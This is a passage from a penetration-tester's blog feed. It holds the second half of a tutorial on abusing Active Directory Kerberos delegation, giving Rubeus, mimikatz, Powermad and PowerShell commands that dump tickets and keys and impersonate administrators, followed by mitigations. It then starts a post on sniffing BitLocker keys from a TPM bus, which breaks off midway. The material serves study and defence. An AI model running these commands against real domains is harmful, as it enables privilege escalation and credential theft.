<p>To query an account and see who can delegate via RBCD, we can also user PowerShell again:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$x = Get-ADComputer epo -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
$x.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access
</code></pre></div></div>

<p>Finally to unset RBCD we can set the attribute back to <code class="language-plaintext highlighter-rouge">$null</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Set-ADComputer epo -PrincipalsAllowedToDelegateToAccount $null
</code></pre></div></div>

<h1 id="finding-affected-accounts-and-abusing-the-shit-out-of-them">Finding affected accounts and abusing the shit out of them</h1>

<p>Let’s get dirty and start with the fun part.<br />
There are tons of abuse cases and a shitload of delegation attacks described in the Interwebz. Often times <a href="https://luemmelsec.github.io/Relaying-101/">relaying attacks</a> and tools are relying on RBCD to fully extend their potential. In this section we’re going to see how to discover potential accounts and how to attack them.</p>

<h2 id="unconstrained-delegation---recon-and-abuse">Unconstrained Delegation - recon and abuse</h2>

<h3 id="recon">Recon</h3>

<p>If an account is set up for Unconstrained Delegation, it’s <code class="language-plaintext highlighter-rouge">userAccountControl</code> attribute contains <code class="language-plaintext highlighter-rouge">TRUSTED_FOR_DELEGATION</code>:</p>

<p><img src="/images/2022-05-19/uac_set.png" /></p>

<p>We can issue <a href="https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1">PowerView</a> to get the job done for us:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol
</code></pre></div></div>

<p><img src="/images/2022-05-19/uac_powerview.png" /></p>

<p>or my beloved <a href="https://github.com/BloodHoundAD/BloodHound">BloodHound</a>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
</code></pre></div></div>

<p><img src="/images/2022-05-19/bhunconstrained.png" /></p>

<p>or even the native PowerShell AD cmdlets:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-ADComputer -LDAPFilter "(&amp;(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -Properties DNSHostName,userAccountControl
</code></pre></div></div>
<p><img src="/images/2022-05-19/ldapsearchfilter.png" /></p>

<h3 id="abuse">Abuse</h3>

<p>The first step is to always compromise an account that is configured for Unconstrained Delegation. This can be a user or a system. For this demo we assume that we compromised the system <code class="language-plaintext highlighter-rouge">epo</code> which is allowed for UD, and that we have control over the user <code class="language-plaintext highlighter-rouge">service</code> which is local admin on this system.</p>

<p>We now either already have a Kerberos ticket, or we coerce authentication to get one (<a href="https://github.com/leechristensen/SpoolSample">SpoolSample</a>, <a href="https://github.com/topotam/PetitPotam">PetitPotam</a>, <a href="https://github.com/ShutdownRepo/ShadowCoerce">ShadowCoerce</a> and alike) or we just wait until an account we want to impersonate accesses our system. In this case the user <code class="language-plaintext highlighter-rouge">Administrator</code> accessed the system via SMB:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.\Rubeus.exe monitor /targetuser:Administrator /interval:5
</code></pre></div></div>
<p>As you can see, our current user is not able to access the DC.</p>

<p><img src="/images/2022-05-19/rubeus_ticket_monitor.png" /></p>

<p>In the next step we pass the <code class="language-plaintext highlighter-rouge">TGT</code> to our current session and are so able to impersonate the admin user and gain acccess to the DC:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.\Rubeus.exe ptt /ticket:doIFczCCBW+g...
</code></pre></div></div>

<p><img src="/images/2022-05-19/rubeus_impersonate.png" /></p>

<p>or to other systems or services:</p>

<p><img src="/images/2022-05-19/abuse1.png" /></p>

<h2 id="constrained-delegation---recon-and-abuse">Constrained Delegation - recon and abuse</h2>

<h3 id="recon-1">Recon</h3>

<p>in this example we have the system <code class="language-plaintext highlighter-rouge">WIN10X64</code> configured with Constrained Delegation allowing it to delegate to <code class="language-plaintext highlighter-rouge">cifs\epo.mcafeelab.local</code>:</p>

<p><img src="/images/2022-05-19/cd_win10.png" /></p>

<p>We can use <a href="https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer">ADExplorer</a> and filter the results on the <code class="language-plaintext highlighter-rouge">msDS-AllowedToDelegateTo</code> value:</p>

<p><img src="/images/2022-05-19/adexplorer1.png" /></p>

<p>or BloodHound:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>MATCH p = (a)-[:AllowedToDelegate]-&gt;(c:Computer) RETURN p
</code></pre></div></div>
<p><img src="/images/2022-05-19/bh_cdquery.png" /></p>

<p>or PowerView:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-NetComputer -TrustedToAuth | select samaccountname,msds-allowedtodelegateto | ft
</code></pre></div></div>
<p><img src="/images/2022-05-19/pv_cd.png" /></p>

<p><code class="language-plaintext highlighter-rouge">Be aware that Constrained Delegation can be set on users as well, so make sure to also search for them in your queries!!!</code></p>

<h3 id="abuse-1">Abuse</h3>

<p>We somewhat need to get hold on a <code class="language-plaintext highlighter-rouge">TGT</code> from the account that holds the Constrained Delegation rights. We can achieve that if we have the cleartext password or NT hash of the affected account, or directly dump the <code class="language-plaintext highlighter-rouge">TGT</code> with Rubeus if we have according privileges.</p>

<h4 id="rubeus-way">Rubeus way</h4>

<p>First we look for the <code class="language-plaintext highlighter-rouge">krbtgt</code> ticket for the user <code class="language-plaintext highlighter-rouge">win10x64$</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Rubeus.exe triage
</code></pre></div></div>
<p><img src="/images/2022-05-19/dump.png" /></p>

<p>Then we dump the ticket from the luid:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Rubeus.exe dump /luid:0x12d1f7
</code></pre></div></div>
<p><img src="/images/2022-05-19/dump1.png" /></p>

<p>And finally use that ticket to do the S4U magic:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/epo.mcafeelab.local /ticket:doIFRjCCBUKgAwIBB...BTA== /ptt
</code></pre></div></div>
<p><img src="/images/2022-05-19/cd1.png" /></p>

<p><img src="/images/2022-05-19/cd2.png" /></p>

<p>We can see with <code class="language-plaintext highlighter-rouge">klist</code> that we successfully obtained a forwardable ticket for cifs/epo.mcafeelab.local for the user <code class="language-plaintext highlighter-rouge">Administrator</code>, with which we can access <code class="language-plaintext highlighter-rouge">epo</code> now via <code class="language-plaintext highlighter-rouge">cifs</code> but not e.g. <code class="language-plaintext highlighter-rouge">wsman</code>:</p>

<p><img src="/images/2022-05-19/cd3.png" /></p>

<h4 id="mimikatzi-way"><a href="https://github.com/gentilkiwi/mimikatz">Mimikatzi</a> way</h4>

<p>This time we are going to obtain the aes256 key of the machine account:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>privilege::debug
token::elevate
sekurlsa::ekeys
</code></pre></div></div>
<p><img src="/images/2022-05-19/mimi1.png" /></p>

<p><img src="/images/2022-05-19/mimi2.png" /></p>

<p>For whatever reason the output of mimikatz would not show me the correct descriptions. There were people in the past with the same <a href="https://github.com/gentilkiwi/mimikatz/issues/314">problem</a>. However the first entry under the <code class="language-plaintext highlighter-rouge">Key List</code> section is in fact the aes256 key.</p>

<p>Then it’s nearly the same with Rubeus as before, but this time with the system account as user and aes256 key as the “password”:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Rubeus.exe s4u /impersonateuser:god /msdsspn:cifs/epo.mcafeelab.local /user:win10x64$ /aes256:4b55f...fd82 /ptt

</code></pre></div></div>
<p><img src="/images/2022-05-19/rubi1.png" /></p>

<p><img src="/images/2022-05-19/rubi2.png" /></p>

<p>What is really cool about this type of attacks is, that we don`t need any info about the passwords of the users we want to impersonate. We can just say: “KDC, I want a ticket for user X - gimme that!”.</p>

<h2 id="resource-based-constrained-delegation---recon-and-abuse">Resource Based Constrained Delegation - recon and abuse</h2>

<h3 id="recon-2">Recon</h3>

<p>We can again issue ADExplorer, the AD PowerShell cmdlets, BloodHound or PowerView to search for affected accounts like described in the Constrained Delegation part.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-ADComputer epo -Properties PrincipalsAllowedToDelegateToAccount
</code></pre></div></div>
<p><img src="/images/2022-05-19/rbcd_allowed.png" /></p>

<h3 id="abuse-2">Abuse</h3>

<p>The idea is that as soon as you have control over an account’s <code class="language-plaintext highlighter-rouge">msDS-AllowedToActOnBehalfOfOtherIdentity</code> property, you can place an SPN there and are ready to go to pwn this account. The scenario fits to computer objects as well as users, with the difference that by default a user can’t alter it’s own settings but a computer can.<br />
So this is leading us to either have the luck to have compromised an account with the according rights over our target or we are in MitM position and can relay to AD accordingly. If you want to know how this fancy shit is working -&gt; <a href="https://luemmelsec.github.io/Relaying-101/">Relaying 101</a>.</p>

<p>For the course of this writeup, let’s assume that our user <code class="language-plaintext highlighter-rouge">lowpriv</code> happens to have these rights over the system <code class="language-plaintext highlighter-rouge">epo</code>:</p>

<p><img src="/images/2022-05-19/write_rights.png" /></p>

<p>In an on-prem AD the default settings allow the group <code class="language-plaintext highlighter-rouge">Authenticated Users</code> (which includes all computers and users) to add up to 10 computer objects to the AD. To check if this is possible, let’s use PowerView’s <code class="language-plaintext highlighter-rouge">Get-DomainObject</code> cmdlet:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-DomainObject -Identity "dc=mcafeelab,dc=local" -domain mcafeelab.local -Properties distinguishedname,ms-ds-machineaccountquota
</code></pre></div></div>

<p><img src="/images/2022-05-19/quota.png" /></p>

<p>Besides the quota, our pwnd user must be allowed to actually add computer objects, and this is controlled by the <code class="language-plaintext highlighter-rouge">Default Domain Controllers Policy</code> with the <code class="language-plaintext highlighter-rouge">Add workstations to domain</code> security setting, which by default contains (who would have thought) the <code class="language-plaintext highlighter-rouge">Authenticated Users</code> group:</p>

<p><img src="/images/2022-05-19/authenticated_users.png" /></p>

<p>If you know of a cool way to fetch this info the hacker-way, please let me know.</p>

<p>Okay, so the prerequisites are in place. So let’s add a new computer object to the domain with the help of <a href="https://github.com/Kevin-Robertson/Powermad">Powermad</a>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString 'Pillemann123' -AsPlainText -Force) -Verbose
</code></pre></div></div>
<p><img src="/images/2022-05-19/mad.png" /></p>

<p>Now it’s time to set our <code class="language-plaintext highlighter-rouge">FAKE01</code> account to the <code class="language-plaintext highlighter-rouge">msDS-AllowedToActOnBehalfOfOtherIdentity</code> option of <code class="language-plaintext highlighter-rouge">epo</code> with the PowerShell AD cmdlets:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Add-WindowsCapability –online –Name “Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0”
Set-ADComputer epo -PrincipalsAllowedToDelegateToAccount FAKE01$
or
Set-ADComputer epo -PrincipalsAllowedToDelegateToAccount pwnduser_with_SPN
</code></pre></div></div>
<p><img src="/images/2022-05-19/addfake.png" /></p>

<p>Lastly some</p>

<p><img src="/images/2022-05-19/magic.png" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Rubeus.exe hash /password:Pillemann123
Rubeus.exe s4u /impersonateuser:administrator /msdsspn:cifs/epo.mcafeelab.local /domain:mcafeelab.local /user:FAKE01$ /rc4:0CF95DC54D380336A0A671B758A35834 /ptt
</code></pre></div></div>
<p><img src="/images/2022-05-19/rbcdabuse1.png" /> 
<img src="/images/2022-05-19/rbcdabuse2.png" /></p>

<p>BOOM - we made it.</p>

<h2 id="bonus-material">Bonus material</h2>

<p>If you made it till here you are awesome.<br />
I want to shortly scratch the top of two more topics.</p>

<h3 id="protocol-transition">Protocol transition</h3>

<p>Remember the part where I introduced you to Constrained Delegation? I only focused on the scenario where it was configured to <code class="language-plaintext highlighter-rouge">Use any authentication protocol</code>. But what about the other option <code class="language-plaintext highlighter-rouge">Use Kerberos only</code>?<br />
In these cases the <code class="language-plaintext highlighter-rouge">S4U2self</code> request will give you a nonforwardable ticket if the user didn’t authenticate via Kerberos, which ultimately makes <code class="language-plaintext highlighter-rouge">S4U2proxy</code> fail. So everything that is no Kerberos authentication to that account is not abuseable.<br />
You can take a closer look at <a href="https://www.thehacker.recipes/ad/movement/kerberos/delegations/constrained#without-protocol-transition">The Hacker Recipes</a>.</p>

<h3 id="alternate-service-name">Alternate Service Name</h3>

<p>If we happen to land in a situation where we can abuse Constrained Delegation, but the service we can delegate to is of no use like e.g. <code class="language-plaintext highlighter-rouge">wsman</code> because the service is not running on the target, we can add any other service to our ticket, as they are not validated at all.</p>

<p><img src="/images/2022-05-19/bonus1.png" /></p>

<p>If we do our S4U magic, we get a valid ST but can’t access <code class="language-plaintext highlighter-rouge">epo</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Rubeus.exe s4u /impersonateuser:god /msdsspn:wsman/epo.mcafeelab.local /user:win10x64$ /aes256:4b55fdf5d7d3ca7c537ca7de3bf212b515759fcfe406a0df87a04d4158b4fd82 /ptt
</code></pre></div></div>
<p><img src="/images/2022-05-19/bonus2.png" /></p>

<p>But if we specify the <code class="language-plaintext highlighter-rouge">/altservice</code> flag with e.g. <code class="language-plaintext highlighter-rouge">cifs</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Rubeus.exe s4u /impersonateuser:god /msdsspn:wsman/epo.mcafeelab.local /user:win10x64$ /aes256:4b55fdf5d7d3ca7c537ca7de3bf212b515759fcfe406a0df87a04d4158b4fd82 /ptt /altservice:cifs
</code></pre></div></div>
<p><img src="/images/2022-05-19/bonus3.png" /></p>

<p><img src="/images/2022-05-19/total-pwnage.jpg" /></p>

<p><img src="/images/2022-05-19/bonus4.png" /></p>

<h1 id="mitigations">Mitigations</h1>

<p>In general you should use the safest options available if you need to use delegations. This is -&gt; don’t use Unconstrained Delegation at all - no really don’t.</p>

<p>All your sensitive accounts should either be members of the <code class="language-plaintext highlighter-rouge">Protected Users</code> group or have the flag <code class="language-plaintext highlighter-rouge">Account is sensitive and cannot be delegated</code> set:</p>

<p><img src="/images/2022-05-19/miti1.png" /></p>

<p>For the RBCD stuff make sure that the Account quota is set to 0 and that your default DC policy only allows privileged accounts to add workstations to your domain. And no, the quota setting is NOT affecting your Domain Admins:</p>

<p><a href="https://twitter.com/theluemmel/status/1473315566945460230">https://twitter.com/theluemmel/status/1473315566945460230</a><br />
<img src="/images/2022-05-19/miti2.png" /></p>

<h1 id="conclusion">Conclusion</h1>

<p>Wow, this blog post got a little out of hand. I still don’t understand half the shit I would like to, but man, writing this down and testing things out really gave me a good first glance into this very specific and complex topic.<br />
Just be aware of the consequences a (mis)configuration of delegations might have.</p>

<p>So I once again hope you enjoyed the read.<br />
Stay safe and happy hacking.</p>

<p>If you happen to have any technical questions, please directly contact the people from the “Thank you” section :)</p>

<p>Luemmel</p>

<h1 id="thanks-to">Thanks to</h1>
<p>all the great people that I learnt from by reading their stuff or doing trainings they provide</p>

<p><a href="https://twitter.com/_RastaMouse">Daniel Duggan</a><br />
<a href="https://twitter.com/_nwodtuhs">Charlie Bromberg</a><br />
<a href="https://twitter.com/harmj0y">Will Schroeder</a><br />
<a href="https://twitter.com/elad_shamir">Elad Shamir</a><br />
<a href="https://twitter.com/PyroTek3">Sean Metcalf</a><br />
<a href="https://twitter.com/an0n_r0">an0n</a><br />
<a href="https://twitter.com/spotheplanet">spotheplanet</a><br />
<a href="https://twitter.com/kevin_robertson">Kevin Robertson</a><br />
<a href="https://twitter.com/gentilkiwi">Benjamin Delpy</a></p>

<h1 id="sources">Sources</h1>
<p><a href="https://courses.zeropointsecurity.co.uk/courses/red-team-ops">https://courses.zeropointsecurity.co.uk/courses/red-team-ops</a><br />
<a href="https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html">https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html</a><br />
<a href="https://harmj0y.medium.com/s4u2pwnage-36efe1a2777c">https://harmj0y.medium.com/s4u2pwnage-36efe1a2777c</a><br />
<a href="https://www.thehacker.recipes/ad/movement/kerberos/delegations/">https://www.thehacker.recipes/ad/movement/kerberos/delegations/</a><br />
<a href="https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution">https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/(resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution</a><br />
<a href="https://stealthbits.com/blog/what-is-the-kerberos-pac/">https://stealthbits.com/blog/what-is-the-kerberos-pac/</a><br />
<a href="https://blog.harmj0y.net/redteaming/another-word-on-delegation/">https://blog.harmj0y.net/redteaming/another-word-on-delegation/</a><br />
<a href="https://adsecurity.org/?p=1667">https://adsecurity.org/?p=1667</a> <br />
<a href="https://github.com/tothi/rbcd-attack">https://github.com/tothi/rbcd-attack</a><br />
<a href="https://orangecyberdefense.com/global/blog/sensepost/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd/">https://orangecyberdefense.com/global/blog/sensepost/chaining-multiple-techniques-and-tools-for-domain-takeover-using-rbcd/</a><br />
<a href="https://docs.microsoft.com/en-us/defender-for-identity/cas-isp-unconstrained-kerberos">https://docs.microsoft.com/en-us/defender-for-identity/cas-isp-unconstrained-kerberos</a><br />
<a href="https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/ps-remoting-second-hop?view=powershell-7.2">https://docs.microsoft.com/en-us/powershell/scripting/learn/remoting/ps-remoting-second-hop?view=powershell-7.2</a></p>]]></content><author><name></name></author><summary type="html"><![CDATA[Hello fellow h4x0rs, this time we are going to have a closer look at the different types of delegations inside an Active Directory. We’ll try to figure out what this magic is all about and of course how we can abuse it for fun and profit. Prepare yourself for some absolute brainfuck and some bonus info if you make it through to the end.]]></summary></entry><entry><title type="html">Go away BitLocker, you´re drunk</title><link href="https://luemmelsec.github.io/Go-away-BitLocker-you-are-drunk/" rel="alternate" type="text/html" title="Go away BitLocker, you´re drunk" /><published>2021-11-26T00:00:00+00:00</published><updated>2021-11-26T00:00:00+00:00</updated><id>https://luemmelsec.github.io/Go-away-BitLocker-you-are-drunk</id><content type="html" xml:base="https://luemmelsec.github.io/Go-away-BitLocker-you-are-drunk/"><![CDATA[<p>This time we want to try to do some hardware hackery stuff and attack BitLocker encrypted drives where TPM is used but no additional factor like a PIN or password.</p>

<p><img src="/images/2021-11-26/wizard.png" /></p>

<!--more-->
<h1 id="introduction">Introduction</h1>

<p>During the last couple of months I stumbled upon a few articles and tweets where people were extracting cryptographic keys for BitLocker directly from the bus the TPM was talking on. They did so by hooking up a logic analyzer directly to the TPM or some other chip connected to the according bus.</p>

<p>This is the stuff that made me write this blog post:<br />
<a href="https://pulsesecurity.co.nz/articles/TPM-sniffing">https://pulsesecurity.co.nz/articles/TPM-sniffing</a> by <a href="https://twitter.com/0x446f49">Denis Andzakovic</a><br />
<a href="https://twitter.com/SecurityJon/status/1445020885472235524">https://twitter.com/SecurityJon/status/1445020885472235524</a> by <a href="https://twitter.com/SecurityJon">Jon Aubrey</a><br />
<a href="https://dolosgroup.io/blog/2021/7/9/from-stolen-laptop-to-inside-the-company-network">https://dolosgroup.io/blog/2021/7/9/from-stolen-laptop-to-inside-the-company-network</a> by <a href="https://twitter.com/DolosGroup">DolosGroup</a><br />
<a href="https://labs.f-secure.com/blog/sniff-there-leaks-my-bitlocker-key/">https://labs.f-secure.com/blog/sniff-there-leaks-my-bitlocker-key/</a> by <a href="https://twitter.com/HenriNurmi">Henri Nurmi</a></p>

<p>All credits go to you guys, thanks for sharing your knowledge :)</p>

<p>As I thought to myself that this is really cool shit and I wanted to see it with my own eyes, I hesitated no longer and plunged into the adventure.</p>

<h1 id="basics">Basics</h1>

<p><a href="https://en.wikipedia.org/wiki/BitLocker">BitLocker</a> is Microsoft’s full volume encryption feature build into Windows since Vista.<br />
One can run it in three modes:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Transparent operation mode: The decryption keys are sealed inside a TPM
   and released during the boot process when several checks are passed regarding tampered boot files and stuff.  
2. User authentication mode: Here a user needs to provide some sort of additional authentication during the boot process, 
   e.g. a PIN or password.  
3. USB key mode: The decryption keys are stored on a USB device, which needs to be present in order to decrypt and boot the system.  
</code></pre></div></div>

<p>This leaves us with the following possible combinations to run BitLocker:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>TPM only  
TPM + PIN  
TPM + PIN + USB Key  
TPM + USB Key  
USB Key (only with changes to GPOs)  
Password (only with changes to GPOs)  
</code></pre></div></div>
<p>The Trusted Platform Module <a href="https://en.wikipedia.org/wiki/Trusted_Platform_Module">TPM</a> is a cryptoprocessor bound to a specific device. It is capable of holding cryptographic keys, and so BitLocker can be used with keys stored in this module. When no form of preboot authentication is in place, the TPM will release the keys during the boot process, in order to decrypt the disk automatically. Depending on the TPM device itself and regarding the official <a href="https://trustedcomputinggroup.org/wp-content/uploads/PC-Client-Specific-Platform-TPM-Profile-for-TPM-2p0-v1p05p_r14_pub.pdf">documentation</a>, it will communicate over the <a href="https://en.wikipedia.org/wiki/Low_Pin_Count">LPC</a>, <a href="https://en.wikipedia.org/wiki/Serial_Peripheral_Interface">SPI</a> or <a href="https://en.wikipedia.org/wiki/I²C">I2C</a> bus.</p>

<p>The Volume Master Key <a href="">VMK</a> is BitLocker’s cryptographic key held by the TPM. However it is only used to decrypt the Full Volume Encryption Key <a href="">FVEK</a>, which is responsible for actually decrypting the data.<br />
“The addition of the volume master key allows the system to be re-keyed easily when keys upstream in the trust chain are lost or compromised. This ability to re-key the system saves the expense of decrypting and encrypting the entire volume again.” More on this <a href="https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc732774%28v=ws.10%29">here</a>.</p>

<p>The attack I’ll describe only works when no preboot authentication is in place, and the keys are released automatically when the according checks are passed. This is a combination often to be found in real life because:</p>

<ul>
  <li>BitLocker is included for free - so why pay for an alternative solution</li>
  <li>Out of the box there is no SSO in combination with MFA available for BitLocker (you would need to implement &amp; buy some 3rd party tools)</li>
  <li>Users get mad when they need to authenticate more than once when starting their devices</li>
</ul>

<p>And this is where good ol’ MS is telling you that users can have a nice SSO experience by using TPM only and that you should try to avoid bothering them!</p>

<p><img src="/images/2021-11-26/facepalm.jpg" /></p>

<p>“This protection should not be cumbersome to users. One undesirable and previously commonplace situation is when the user is prompted for input during preboot, and then again during Windows logon. Challenging users for input more than once should be avoided. Windows 11 and Windows 10 can enable a true SSO experience from the preboot environment on modern devices and in some cases even on older devices when robust information protection configurations are in place.”<br />
<a href="https://docs.microsoft.com/en-us/windows/security/information-protection/bitlocker/bitlocker-device-encryption-overview-windows-10">https://docs.microsoft.com/en-us/windows/security/information-protection/bitlocker/bitlocker-device-encryption-overview-windows-10 </a></p>

<h1 id="the-journey-begins">The journey begins</h1>

<p>I´ll be honest with you. In first place I just partly red the articles referenced in the intro section. The only thing that got me and what I understood was: You can buy an <a href="https://www.latticestore.com/searchresults/tabid/463/searchid/1/searchvalue/ice40hx1k-stick-evn/default.aspx">ICEStick</a> for 40$ and make it read all the VMKs, when reading Denis blog.</p>

<p><img src="/images/2021-11-26/dumb.png" /></p>

<p>So I bought the ICEStick which now is more like 80$ instead of 40$ (thanks chip shortage you lil’ asshole), had a really hard time getting all the tools and stuff working (there are a million ways of doing the same stuff), only to find out that the config Denis wrote for it, was only capable of reading LPC messages and extracting the VMK out of them.<br />
Guess what - the test notebook I had was using SPI. Fuck. There goes my dream of a 40$ tool that’s doing all the magic stuff to the TPM, no matter what device you throw it at. I spent some hours searching for solutions to make it talk and read SPI, but gave up as this is too deep down the rabbit hole for me.</p>

<p>So off to plan B. Denis also describes how he used a <a href="https://www.dreamsourcelab.com/shop/logic-analyzer/dslogic-plus/">DSLogic Plus</a> to do all the stuff on a TPM 1.2.<br />
Great I thought to myself, they tell you something about refunds if not satisfied and 150$ is okay. So the device arrives, I head over to Denis blog again aaaaaaaand - yes this variant was using the LPC bus as well.</p>

<p><img src="/images/2021-11-26/nopls.jpg" /></p>

<p>But wait, there is also a High Level Analyzer for the sigrok project available for <a href="https://pythonawesome.com/libsigrok-stacked-protocol-decoder-for-tpm-2-0-transactions-from-an-spi-bus/">TPM 2.0 and SPI</a>. The problem with the DSLogic is, that it only has very little memory to buffer data, and for stream mode it only supports USB 2.0, which would allow us to catch some seconds on 4 channels with 100MHz.<br />
Let me quickly check that. I need 5 channels. Frustration is rising.</p>

<p>But Denis ran into the same problems. The solution for him was to capture the clock signal separately.<br />
I was able to do the same, hack together the data, and finally had everything I needed.<br />
Mission complete one would guess. But not for me.<br />
I did like 100000000000000000 test runs capturing data and clock. Sometimes the SPI decoder got me readable data, sometimes it didn´t. What never gave me data was the VMK extractor. I tried with DSView as well as PulseView - no chance.<br />
I thought okay, write the nice people from DSLogic that you would like to send back the device and have a refund.</p>

<p><img src="/images/2021-11-26/tumblweed1.png" /></p>

<p>I even thought about buying the larger U3Pro16 device for 300$, which has more memory and can stream over USB 3.0. I offered them to do some colab on this blog and asked if they would offer me a discount for that.<br />
No answer.</p>

<p><img src="/images/2021-11-26/support.png" /></p>

<p>This. ladies and gentlemen, is how bad customer support looks like, thanks for nothing.<br />
In parallel I struggled to buy the <a href="https://eur.saleae.com/products/saleae-logic-pro-8?variant=10963960496171">Saleae Logic Pro 8</a>, because it´s the most expensive one, but was used in some of the other write-ups successfully.<br />
I asked on twitter if someone had a used device, willing to sell it to me, but got no response.<br />
This was the point when <a href="https://twitter.com/time_reyes">Tim</a> from Saleae reached out to me (I also marked them in my search for a used device), telling me about some possible solutions to my problem. This ended up in me owning a Logic Pro 8 now. This, in comparison, was really good customer support, and it really felt like they were taking care of me, so it´s probably worth spending the money on the Logic Pro 8.</p>

<h2 id="attack---step-by-step">Attack - Step by step</h2>

<p>Let’s now head over and get our hands dirty.</p>

<p><img src="/images/2021-11-26/attack.png" /></p>

<h3 id="things-i-used">Things I used</h3>

<ol>
  <li>DELL E5450 with a TPM running on the SPI bus, Windows 10 and BitLocker in TPM only mode</li>
  <li><a href="https://eur.saleae.com/products/saleae-logic-pro-8?variant=10963960496171">Saleae Logic Pro 8</a></li>
  <li><a href="https://www.saleae.com/de/downloads/">Logic 2 Analyzer Software</a></li>
  <li>Henris <a href="https://github.com/FSecureLABS/bitlocker-spi-toolkit">BitLocker SPI Toolkit</a></li>
  <li><a href="http://boardviewer.net">BoardViewer Software</a></li>
</ol>

<h3 id="recon">Recon</h3>

<p>The first thing we need to know is what TPM chip is installed, which bus it is using and which other components might be connected to that bus, if we can’t or don’t want to connect to the TPM directly.<br />
I started by disassembling the whole notebook (<a href="https://data2.manualslib.com/pdf4/91/9048/904783-dell/latitude_e5450.pdf?867f5d1c34658fb0b6639866c645e1cf">the official</a> guide was a real help), reading the marks on the mainboard and do some googling. This eventually led me here:</p>

<p><img src="/images/2021-11-26/mainboard.png" /></p>

<p>Googling <code class="language-plaintext highlighter-rouge">ZAM70</code> gave me these technical details: <a href="https://www.hisahtech.com/wp-content/uploads/2020/05/ZAM70-LA-A901P-r03-Dell-Latitude-E5450.pdf">https://www.hisahtech.com/wp-content/uploads/2020/05/ZAM70-LA-A901P-r03-Dell-Latitude-E5450.pdf</a></p>

<p>So on the first page we can see that we have an Atmel AT97SC3205 TPM chip running on the SPI bus, to which two flash chips W25Q64CVSSIQ &amp; W25Q32BVSSIQ are also connected:</p>

<p><img src="/images/2021-11-26/diagramm.png" /></p>

<p>On the site with the TPM in detail, we can see which pins are connected to which lines and that it is running on 3.3V, which should become a crucial detail later on.</p>

<p><img src="/images/2021-11-26/TPM Diagramm.png" /></p>

<p>I double checked with the original <a href="http://ww1.microchip.com/downloads/en/devicedoc/Atmel-8884S-TPM-AT97SC3205-Datasheet-Summary.pdf">documentation</a> from Atmel.</p>

<p>This is what the chip looks like on the motherboard:</p>

<p><img src="/images/2021-11-26/tpmonmb.png" /></p>

<p>As you can see, there is no way to attach probes to the TPM directly. <br />
Option A would be to solder flyleads to the small pins of the TPM, and option B to search for another way to access the SPI bus.<br />
This is where BoardViewer comes into play. The program allows you to load schematic views of boards, where you can interactively search or click on pins and see where they are connected to. I found the CAD file for the E5450 <a href="https://drive.google.com/file/d/1wAJiKgb4Qu-RTx8NIdyjNCB2wX73gnhz/view">here</a>.<br />
The TPM is the device UZ1 in this case, located at the top side of the mainboard:</p>

<p><img src="/images/2021-11-26/bv top.png" /></p>

<p>Selecting the chip will give us all pins and the according lines they are connected to, as well as other endpoints that are connected to these lines under the “Net” ribbon. In this case we selected pin 21, which is the clock signal for the SPI bus, which also is connected to RZ35 and RZ26:</p>

<p><img src="/images/2021-11-26/UZ1.png" /></p>

<p>When we follow e.g. pin 23, which is the <code class="language-plaintext highlighter-rouge">SPI_DOTPM</code>, we can also see that it is connected to the <code class="language-plaintext highlighter-rouge">JSPI1</code> module on the backside of the mainboard, which in the end leads us to the <code class="language-plaintext highlighter-rouge">UC2</code> chip that happens to be one of the two flash chips connected to the SPI bus. These flash chips are in SOIC8 format, and much easier to access with our probes than the TPM itself.</p>

<h3 id="wiring-things-up">Wiring things up</h3>

